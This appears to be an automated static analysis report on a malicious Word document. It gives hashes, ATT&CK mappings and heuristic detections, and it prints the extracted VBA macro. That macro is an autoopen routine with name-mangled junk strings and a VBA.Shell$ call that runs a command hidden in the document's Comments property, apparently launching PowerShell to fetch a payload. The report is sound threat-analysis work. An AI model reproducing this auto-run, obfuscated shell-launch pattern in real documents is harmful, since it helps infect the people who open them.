Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ad5419754ce50a81…

MALICIOUS

Office (OLE)

54.5 KB Created: 2017-09-28 05:49:00 Authoring application: Microsoft Office Word First seen: 2017-10-10
MD5: f50d17d7bb08566091385ba251e53da8 SHA-1: 2769da5817e6bef39c535df2a6f43abd2ee26edd SHA-256: ad5419754ce50a81451ccaf30b0f591aa915f072e07be120599bdab882418b2b
212 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File

The file contains VBA macros with an autoopen subroutine, which is a common technique for executing malicious code upon opening a document. The macros reference PowerShell and a Shell call, indicating an attempt to download and execute a secondary payload. The ClamAV detection 'Doc.Macro.DollarShell-6346616-0' further supports its malicious nature.

Heuristics 8

  • ClamAV: Doc.Macro.DollarShell-6346616-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.DollarShell-6346616-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    UZgLXHPucz = "aNpenMBgKc" + "GWZunFmzm" + "dKtvEUWgRyV" + "nSzttLTy" + "pzFDvTPw" + "ZWYbbtzaxN" + LUzmFUwVm = "mumbrgzCx" + "bcCyWmyxdc" + "ySXZVWnFhU" + "AtskbczY" + "MVMCmZmgNER" + "sutAYnL" + HXBsLnVy = "FrWZuUR" + "VvSpBUxy" + "sUYkmVyr" + "TTuMbaAZAfV" + "HdywcBUVYSF" + "SytFYtWLNN" + HvswvnwfWrb = "augyfAT" + "xGrruPrpPgP" + "VsYHdcEz" + "VwmYZGya" + "vDaFxAcS" + "vWnKzVD" + "zCHmtYUnd"
VBA.Shell$ "" + "" + VzbSXczYHbn + vswfsBNPV + GAVbeMw + DSnekSLcCu + wArwgEnc + stnKRuWGN + ucDVnypc + HmSMzdwg + kAzsdPwxdGT + EGzBhppzkn + ActiveDocument.BuiltInDocumentProperties("Co" + "mme" + "nts"), 0
wbGHtuRWzUg = "FpehYUCeg" + "hSWhhWEuGen" + "EhrCytuedZ" + "CdsnVgvtWKu" + "FPuRGAkw" + "caXskZyHEVh" + zEPSgXwzyf = "NmMTbvsu" + "ZrzEbufhYt" + "CZsCCuM" + "PGbZZym" + "MegfruFgWFr" + "TBrHFNF" + vGmeNeDNFCd = "AUTrKbK" + "wDYbNFKK" + "AAzYaZrc" + "MgpHzkGmTN" + "SUVdtFKEEF" + "CTEUrUUpVwr" + "ceYLrSHy"
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "Module1"
Sub autoopen()
BXezYabEN
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2311 bytes
SHA-256: 8f95107cbdea661d2b46f29e2d2c56619b77b2ab96927ad4f06edb2d7d2fdd74
Detection
ClamAV: No threats found
Obfuscation or payload: likely
118 of 151 identifiers look randomly generated (e.g. 'GVbFUdkfPWA') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub autoopen()
BXezYabEN
End Sub
Function BXezYabEN()
GcEebMHSrTR = "ncpGBhUfzfV" + "FbFktTxMn" + "vmATDbLL" + "kfcLwNh" + "vgWczTVbZsn" + "zpXnEPc" + LrwwVwwmXz = "vggXyxrHF" + "YfEdxYvbn" + "SwKegbMVNh" + "eTfVCrGSkuh" + "tyEMsHx" + "FPKERTbpsmm" + LWKZAnhv = "ECTBXMP" + "mmPGhHMNDFY" + "txKUDamaRS" + "fuyMfNMN" + "EcCEEDuCyZ" + "WzrwXpYYC" + fGhhVmabMw = "ugbndPN" + "BYZHxZmbu" + "cPLFxZHAG" + "GVbFUdkfPWA" + "nGvTbDZPwv" + "NBHMxvzkb" + HMUHuMWZa = "XUWpXNXHsd" + "UWSeuahK" + "XUNAZSg" + "BXYpYzHEH" + "RmsfYPF" + "tcDhnWEUBv" + "HXgVFAM"
UZgLXHPucz = "aNpenMBgKc" + "GWZunFmzm" + "dKtvEUWgRyV" + "nSzttLTy" + "pzFDvTPw" + "ZWYbbtzaxN" + LUzmFUwVm = "mumbrgzCx" + "bcCyWmyxdc" + "ySXZVWnFhU" + "AtskbczY" + "MVMCmZmgNER" + "sutAYnL" + HXBsLnVy = "FrWZuUR" + "VvSpBUxy" + "sUYkmVyr" + "TTuMbaAZAfV" + "HdywcBUVYSF" + "SytFYtWLNN" + HvswvnwfWrb = "augyfAT" + "xGrruPrpPgP" + "VsYHdcEz" + "VwmYZGya" + "vDaFxAcS" + "vWnKzVD" + "zCHmtYUnd"
VBA.Shell$ "" + "" + VzbSXczYHbn + vswfsBNPV + GAVbeMw + DSnekSLcCu + wArwgEnc + stnKRuWGN + ucDVnypc + HmSMzdwg + kAzsdPwxdGT + EGzBhppzkn + ActiveDocument.BuiltInDocumentProperties("Co" + "mme" + "nts"), 0
wbGHtuRWzUg = "FpehYUCeg" + "hSWhhWEuGen" + "EhrCytuedZ" + "CdsnVgvtWKu" + "FPuRGAkw" + "caXskZyHEVh" + zEPSgXwzyf = "NmMTbvsu" + "ZrzEbufhYt" + "CZsCCuM" + "PGbZZym" + "MegfruFgWFr" + "TBrHFNF" + vGmeNeDNFCd = "AUTrKbK" + "wDYbNFKK" + "AAzYaZrc" + "MgpHzkGmTN" + "SUVdtFKEEF" + "CTEUrUUpVwr" + "ceYLrSHy"
LUvzsCveD = "yUnDCGAN" + "cYdvKzFDsF" + "uAUBypGApcF" + "bWDkfEXTSNX" + "kazexFGCmxR" + "LcTYEFsRUrp" + UBhcNkT = "NuuLmLdxNY" + "znXZRrRxrsh" + "SvcmRAb" + "VGsPWGWzn" + "BNbUBSWXW" + "mEtNKkcPTHk" + PeKEHeguWDT = "ybMzMPLWBSW" + "LtawTTwzEb" + "fprKwDyPb" + "uuzsxBHe" + "UnVGYpp" + "CNArLVzCKru" + aSAYbrDx = "HrAnMmZCwXT" + "GSZcTKvBaRA" + "fAmSCcWw" + "DAbwVaEZK" + "ryEwzbAzK" + "hAvmsKUkTZs" + TvPakbWz = "EyTkshHT" + "HUGykRuGw" + "PTRDvMxRwZH" + "tgtMvsBk" + "RWvYTFXrzZ" + "GUdwnhzruWr" + "zTLVKbCzU"
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.